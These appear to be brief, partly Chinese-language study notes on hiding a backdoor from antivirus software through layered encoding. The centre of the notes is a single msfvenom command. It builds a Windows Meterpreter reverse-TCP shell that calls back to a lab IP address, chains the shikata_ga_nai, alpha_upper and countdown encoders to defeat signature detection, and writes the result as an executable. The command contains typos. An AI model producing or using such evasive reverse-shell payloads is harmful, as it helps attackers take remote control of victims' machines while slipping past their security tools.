# backdoor anti-virus
## obfuscation of the encode

- it cound prvent the backdoor from killing by the feature code
- -e(encoding)

- x86/shikata_ga_nai 為多形encoding (百變怪
- 多次+多重

```
msfvenom -p windows/metepreter/reverse_tcp lhost=192.168.203.131 lport=4444 -e x86/shikata_ga_nai -i 1- -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 1- -f exe -o ~/Desktop/mul_EC_RTCP.exe
```